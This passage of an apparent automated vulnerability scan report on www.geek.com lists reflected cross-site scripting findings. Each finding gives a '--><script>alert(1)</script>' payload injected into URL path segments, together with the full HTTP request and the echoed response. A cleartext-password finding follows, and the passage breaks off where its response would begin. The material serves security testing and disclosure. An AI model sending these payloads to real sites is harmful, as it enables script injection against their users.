GET /wp-content/themes/geek6667fc--><script>alert(1)</script>0699ca39d7d/style.css?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:28:33 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44324
X-Varnish: 1842939387
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:28:11 GMT
Date: Tue, 10 May 2011 13:28:11 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>0699ca39d7d/style.css%3Fv%3D1 -->
...[SNIP]...

2.24. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 5741f--><script>alert(1)</script>a5ba9f86d8f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6/style.css5741f--><script>alert(1)</script>a5ba9f86d8f?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:23 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44396
X-Varnish: 924435452
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:30:07 GMT
Date: Tue, 10 May 2011 13:30:07 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>a5ba9f86d8f%3Fv%3D1 -->
...[SNIP]...

2.25. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 73cd2--><script>alert(1)</script>baaf0b0251b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content73cd2--><script>alert(1)</script>baaf0b0251b/themes/geek6/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:25:53 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44366
X-Varnish: 1842938474
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:25:32 GMT
Date: Tue, 10 May 2011 13:25:32 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>baaf0b0251b/themes/geek6/styles/redesign.css%3Fver%3D416 -->
...[SNIP]...

2.26. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 48dc7--><script>alert(1)</script>dd7964ccf81 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes48dc7--><script>alert(1)</script>dd7964ccf81/geek6/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:23 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44366
X-Varnish: 1154909827
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:31 GMT
Date: Tue, 10 May 2011 13:27:31 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>dd7964ccf81/geek6/styles/redesign.css%3Fver%3D416 -->
...[SNIP]...

2.27. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 79a85--><script>alert(1)</script>46c3c23cd50 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek679a85--><script>alert(1)</script>46c3c23cd50/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:32 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44366
X-Varnish: 1842939731
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:10 GMT
Date: Tue, 10 May 2011 13:29:10 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>46c3c23cd50/styles/redesign.css%3Fver%3D416 -->
...[SNIP]...

2.28. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload bd07f--><script>alert(1)</script>53428622ec8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6/stylesbd07f--><script>alert(1)</script>53428622ec8/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:31:18 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44438
X-Varnish: 924435731
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:31:03 GMT
Date: Tue, 10 May 2011 13:31:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>53428622ec8/redesign.css%3Fver%3D416 -->
...[SNIP]...

2.29. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 10ebc--><script>alert(1)</script>f7c5b3874 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6/styles/redesign.css10ebc--><script>alert(1)</script>f7c5b3874?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:32:50 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44360
X-Varnish: 1154911283
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:32:58 GMT
Date: Tue, 10 May 2011 13:32:58 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>f7c5b3874%3Fver%3D416 -->
...[SNIP]...

2.30. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 7ca44--><script>alert(1)</script>7106a08b954 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes7ca44--><script>alert(1)</script>7106a08b954/js/jquery/jquery.js?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:50 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44336
X-Varnish: 1154909979
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:59 GMT
Date: Tue, 10 May 2011 13:27:59 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>7106a08b954/js/jquery/jquery.js%3Fver%3D1.4.4 -->
...[SNIP]...

2.31. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 9b98a--><script>alert(1)</script>91e07532a1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js9b98a--><script>alert(1)</script>91e07532a1/jquery/jquery.js?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:27 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44333
X-Varnish: 1842939982
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:30:05 GMT
Date: Tue, 10 May 2011 13:30:05 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>91e07532a1/jquery/jquery.js%3Fver%3D1.4.4 -->
...[SNIP]...

2.32. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b4ff4--><script>alert(1)</script>a79c9b0aa was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js/jqueryb4ff4--><script>alert(1)</script>a79c9b0aa/jquery.js?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:32:37 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44330
X-Varnish: 1842940647
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:32:16 GMT
Date: Tue, 10 May 2011 13:32:16 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>a79c9b0aa/jquery.js%3Fver%3D1.4.4 -->
...[SNIP]...

2.33. http://www.geek.com/wp-includes/js/jquery/jquery.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 55165--><script>alert(1)</script>b33df8dbb3b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js/jquery/jquery.js55165--><script>alert(1)</script>b33df8dbb3b?ver=1.4.4 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:34:32 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44336
X-Varnish: 1842941134
Expires: Tue, 10 May 2011 13:34:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:34:11 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=7c0ba0f86856acc47a295d3205e1db98; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>b33df8dbb3b%3Fver%3D1.4.4 -->
...[SNIP]...

2.34. http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/l10n.js

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload a4d53--><script>alert(1)</script>4e132da2dfb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includesa4d53--><script>alert(1)</script>4e132da2dfb/js/l10n.js?ver=20101110 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:58 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44318
X-Varnish: 1842939193
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:36 GMT
Date: Tue, 10 May 2011 13:27:36 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>4e132da2dfb/js/l10n.js%3Fver%3D20101110 -->
...[SNIP]...

2.35. http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/l10n.js

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload d5258--><script>alert(1)</script>5afdb60a6fc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/jsd5258--><script>alert(1)</script>5afdb60a6fc/l10n.js?ver=20101110 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:37 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44318
X-Varnish: 1154910460
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:46 GMT
Date: Tue, 10 May 2011 13:29:46 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>5afdb60a6fc/l10n.js%3Fver%3D20101110 -->
...[SNIP]...

2.36. http://www.geek.com/wp-includes/js/l10n.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-includes/js/l10n.js

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 4bc2b--><script>alert(1)</script>ce3e586486d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-includes/js/l10n.js4bc2b--><script>alert(1)</script>ce3e586486d?ver=20101110 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:31:42 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44318
X-Varnish: 1154911041
Expires: Tue, 10 May 2011 13:31:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:31:51 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=64cb2cb3f7ca3984ef384b8e4a79a40e; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>ce3e586486d%3Fver%3D20101110 -->
...[SNIP]...

3. Cleartext submission of password previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.geek.com/users/login/

The form contains the following password field:

password

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

